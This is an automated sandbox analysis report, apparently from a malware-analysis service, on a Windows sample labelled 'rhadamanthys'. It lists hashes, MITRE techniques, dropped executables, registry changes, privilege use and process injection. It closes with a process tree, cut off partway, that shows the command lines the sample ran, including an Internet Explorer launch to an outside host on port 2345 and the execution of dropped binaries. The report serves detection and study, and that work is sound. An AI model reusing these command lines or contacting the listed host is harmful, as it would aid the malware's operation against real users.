d5778f4dc0ac0e5639002d616ba81f4bc99e64882956864b593e66553970f314

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 18:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe
Size 243KB
Sample260805-w5jcbstdlf
SHA256 d5778f4dc0ac0e5639002d616ba81f4bc99e64882956864b593e66553970f314
MD5 5b3a7ef68bb344630eb7d337dc8d17f4
SHA1 f804cded8032263e2e43e40b28e8e5faf6f7e8a5
SHA512 e83fac44375f63fa1453d16161b1abf47f9bf581bdf851516e569bd94c736784ca586d6cdec1ca963998d5bdafebf9539ee22e8f4cf4e5f33120d94b4d91697d
SSDEEP 3072:TF3frLFqJhj7yra3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7b:R3frLQsa3lLNngoqRttA7b
TLSH
T19E345A0172818032E7550B78045AE7A0867E7D384BA6E6CFF7683F795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
4504	CP.exe
1460	wrpjecwuom.exe
3776	CP.exe
2208	CP.exe
1816	i_wrpjecwuom.exe
5052	ezwrpjhbzt.sys
3720	CP.exe
1808	tomgeywroj.exe
3968	CP.exe
4968	CP.exe
1228	i_tomgeywroj.exe
3896	oigbytrljd.sys
4928	CP.exe
3756	eywqoidbvt.exe
4552	CP.exe
3552	CP.exe
1936	i_eywqoidbvt.exe
2336	ytqljdtnlg.sys
5040	CP.exe
1372	gaytqljdbv.exe
1828	CP.exe
644	CP.exe
3824	i_gaytqljdbv.exe
3704	dysqlidavt.sys
2572	CP.exe
3252	ifaypnigay.exe
3544	CP.exe
312	CP.exe
2092	i_ifaypnigay.exe
1552	fdxvpnhfax.sys
3292	CP.exe
2860	xvpnifaysq.exe
3956	CP.exe
2292	CP.exe
4408	i_xvpnifaysq.exe
2268	smkfcxvpnh.sys
4324	CP.exe
4048	hfaxsmkfcx.exe
4752	CP.exe
1792	CP.exe
4756	i_hfaxsmkfcx.exe
2336	cwupmhfzxr.sys
1428	CP.exe
2424	pjhbzurmke.exe
1552	CP.exe
3656	CP.exe
4016	i_pjhbzurmke.exe
2108	rmkecwupmh.sys
4808	CP.exe
3680	ztrmkecwuo.exe
4196	CP.exe
1660	CP.exe
3852	i_ztrmkecwuo.exe
788	hbztrmjecw.sys
1724	CP.exe
2944	wrojhbztrl.exe
4368	CP.exe
1936	CP.exe
2912	i_wrojhbztrl.exe
1376	wtomgeywqo.sys
552	CP.exe
2576	ojgbytrljd.exe
2192	CP.exe
2560	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywqoidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaytqljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhbzurmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojgbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zwrojhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zwrojhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrpjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifaypnigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnigaysqlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bytqljdbvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trljebwtom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trljebwtom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tomgeywroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tomgeywroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaytqljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifaypnigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrojhbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfaxsmkfcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfzxrpkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezxrpjhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ezxrpjhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywqoidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrojhbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojgbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnigaysqlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxvpnhfzxp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrpjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhbzurmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfzxrpkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfaxsmkfcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxvpnhfzxp.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4508	ipconfig.exe
4252	ipconfig.exe
4980	ipconfig.exe
3356	ipconfig.exe
4260	ipconfig.exe
4692	ipconfig.exe
2144	ipconfig.exe
1952	ipconfig.exe
3096	ipconfig.exe
3808	ipconfig.exe
920	ipconfig.exe
4340	ipconfig.exe
4356	ipconfig.exe
1148	ipconfig.exe
4252	ipconfig.exe
3924	ipconfig.exe
4324	ipconfig.exe
3068	ipconfig.exe
4508	ipconfig.exe
3512	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b03c49ec1025dd01	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000015ec7194f8c8944e8e3c279917e59d0e00000000020000000000106600000001000020000000208e14694104159e78f6eee3366eabdb959abf784042071db32f5a7a9ba6feed000000000e80000000020000200000006a518f49f7ff2118d40b35c8109af4f5cfa2b01e2cb5724f46d68d827f47e49f20000000bbf0ea69d346e4a27797482ad45b9a8d8c5b91a33ee2bc0e944cd4b6cbe08b7c40000000d911684bf51141ded4d4eb8bd9b563004b2e84c7447fa27131f4ebd2d13813d7800d146214638921dd201a25e05d42190dd04dbb845ca224661b0e873303e4a4	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31270152"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{B5150694-90FB-11F1-B05C-DA48EC94345F} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "492719614"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2465367191"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0f74dec1025dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2327242371"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000015ec7194f8c8944e8e3c279917e59d0e0000000002000000000010660000000100002000000096588d46f167c754a571d9305a2204a7f09c412c3c10add7b9c6bc74912456d4000000000e8000000002000020000000b6a9bed5b32f9eab415cedcdc99bb643f5a44e56f84383b2f71f4913c13581cb20000000a2c3e7c89d87425e270a5b841ef95335b0b3fb66f0706570074cb623678b21ea400000009a27a2b5efc9e26507783d0cc4614daf0c81aed17683c4a39e27b1c9d8a811605557726ee4d3f7a77ae9e4f8a7a83dc392191fd59a0cb8bc3cadeddb79f10f3e	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31270152"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	i_wrpjecwuom.exe
Token: SeDebugPrivilege	1228	i_tomgeywroj.exe
Token: SeDebugPrivilege	1936	i_eywqoidbvt.exe
Token: SeDebugPrivilege	3824	i_gaytqljdbv.exe
Token: SeDebugPrivilege	2092	i_ifaypnigay.exe
Token: SeDebugPrivilege	4408	i_xvpnifaysq.exe
Token: SeDebugPrivilege	4756	i_hfaxsmkfcx.exe
Token: SeDebugPrivilege	4016	i_pjhbzurmke.exe
Token: SeDebugPrivilege	3852	i_ztrmkecwuo.exe
Token: SeDebugPrivilege	2912	i_wrojhbztrl.exe
Token: SeDebugPrivilege	836	i_ojgbytrljd.exe
Token: SeDebugPrivilege	3288	i_dbvtnlfdyv.exe
Token: SeDebugPrivilege	1640	i_qnigaysqlf.exe
Token: SeDebugPrivilege	1168	i_snkfdxvpni.exe
Token: SeDebugPrivilege	4372	i_cxvpnhfzxp.exe
Token: SeDebugPrivilege	3340	i_nhfzxrpkhc.exe
Token: SeDebugPrivilege	1376	i_ezxrpjhczu.exe
Token: SeDebugPrivilege	2960	i_zwrojhbzur.exe
Token: SeDebugPrivilege	4852	i_trljebwtom.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3308	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3308	iexplore.exe
3308	iexplore.exe
1000	IEXPLORE.EXE
1000	IEXPLORE.EXE
1000	IEXPLORE.EXE
1000	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 3268 wrote to memory of 3308	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	86
PID 3308 wrote to memory of 1000	3308	iexplore.exe	87
PID 3268 wrote to memory of 4504	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	90
PID 1460 wrote to memory of 3776	1460	wrpjecwuom.exe	93
PID 3268 wrote to memory of 2208	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	98
PID 3268 wrote to memory of 3720	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	104
PID 1808 wrote to memory of 3968	1808	tomgeywroj.exe	106
PID 3268 wrote to memory of 4968	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	110
PID 3268 wrote to memory of 4928	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	119
PID 3756 wrote to memory of 4552	3756	eywqoidbvt.exe	121
PID 3268 wrote to memory of 3552	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	124
PID 3268 wrote to memory of 5040	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	131
PID 1372 wrote to memory of 1828	1372	gaytqljdbv.exe	133
PID 3268 wrote to memory of 644	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	137
PID 3268 wrote to memory of 2572	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	142
PID 3252 wrote to memory of 3544	3252	ifaypnigay.exe	144
PID 3268 wrote to memory of 312	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	147
PID 3268 wrote to memory of 3292	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	151
PID 2860 wrote to memory of 3956	2860	xvpnifaysq.exe	153
PID 3268 wrote to memory of 2292	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	156
PID 3268 wrote to memory of 4324	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	161
PID 4048 wrote to memory of 4752	4048	hfaxsmkfcx.exe	163
PID 3268 wrote to memory of 1792	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	166
PID 3268 wrote to memory of 1428	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	170
PID 2424 wrote to memory of 1552	2424	pjhbzurmke.exe	172
PID 3268 wrote to memory of 3656	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	175
PID 3268 wrote to memory of 4808	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	179
PID 3680 wrote to memory of 4196	3680	ztrmkecwuo.exe	181
PID 3268 wrote to memory of 1660	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	184
PID 3268 wrote to memory of 1724	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	188
PID 2944 wrote to memory of 4368	2944	wrojhbztrl.exe	190
PID 3268 wrote to memory of 1936	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	193
PID 3268 wrote to memory of 552	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	197
PID 2576 wrote to memory of 2192	2576	ojgbytrljd.exe	199
PID 3268 wrote to memory of 2560	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	202
PID 3268 wrote to memory of 4168	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	206
PID 4576 wrote to memory of 4728	4576	dbvtnlfdyv.exe	208
PID 3268 wrote to memory of 4596	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	212
PID 3268 wrote to memory of 3780	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	216
PID 3808 wrote to memory of 4540	3808	qnigaysqlf.exe	218
PID 3268 wrote to memory of 3664	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	221
PID 3268 wrote to memory of 3932	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	225
PID 560 wrote to memory of 1832	560	snkfdxvpni.exe	227
PID 3268 wrote to memory of 2272	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	230
PID 3268 wrote to memory of 2480	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	234
PID 2136 wrote to memory of 800	2136	cxvpnhfzxp.exe	236
PID 3268 wrote to memory of 4344	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	239
PID 3268 wrote to memory of 1476	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	243
PID 4824 wrote to memory of 1908	4824	nhfzxrpkhc.exe	245
PID 3268 wrote to memory of 1584	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	248
PID 3268 wrote to memory of 1352	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	252
PID 960 wrote to memory of 3676	960	ezxrpjhczu.exe	254
PID 3268 wrote to memory of 2196	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	257
PID 3268 wrote to memory of 4356	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	261
PID 2504 wrote to memory of 4432	2504	zwrojhbzur.exe	263
PID 3268 wrote to memory of 1548	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	266
PID 3268 wrote to memory of 1488	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	270
PID 5044 wrote to memory of 3536	5044	trljebwtom.exe	272
PID 3268 wrote to memory of 4340	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	275
PID 3268 wrote to memory of 3324	3268	2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe	284
PID 4176 wrote to memory of 2084	4176	bytqljdbvq.exe	286

C:\Users\Admin\AppData\Local\Temp\2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-05_5b3a7ef68bb344630eb7d337dc8d17f4_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3268
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3308 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:1000
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wrpjecwuom.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4504
- - C:\Temp\wrpjecwuom.exe
    C:\Temp\wrpjecwuom.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3776
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3356
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wrpjecwuom.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2208
- - C:\Temp\i_wrpjecwuom.exe
    C:\Temp\i_wrpjecwuom.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tomgeywroj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3720
- - C:\Temp\tomgeywroj.exe
    C:\Temp\tomgeywroj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1808
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3968
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3096
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tomgeywroj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4968
- - C:\Temp\i_tomgeywroj.exe
    C:\Temp\i_tomgeywroj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1228
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\eywqoidbvt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4928
- - C:\Temp\eywqoidbvt.exe
    C:\Temp\eywqoidbvt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3756
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4552
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4324
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_eywqoidbvt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3552
- - C:\Temp\i_eywqoidbvt.exe
    C:\Temp\i_eywqoidbvt.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1936
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\gaytqljdbv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5040
- - C:\Temp\gaytqljdbv.exe
    C:\Temp\gaytqljdbv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1828
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3808
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_gaytqljdbv.exe ups_ins
  2⤵
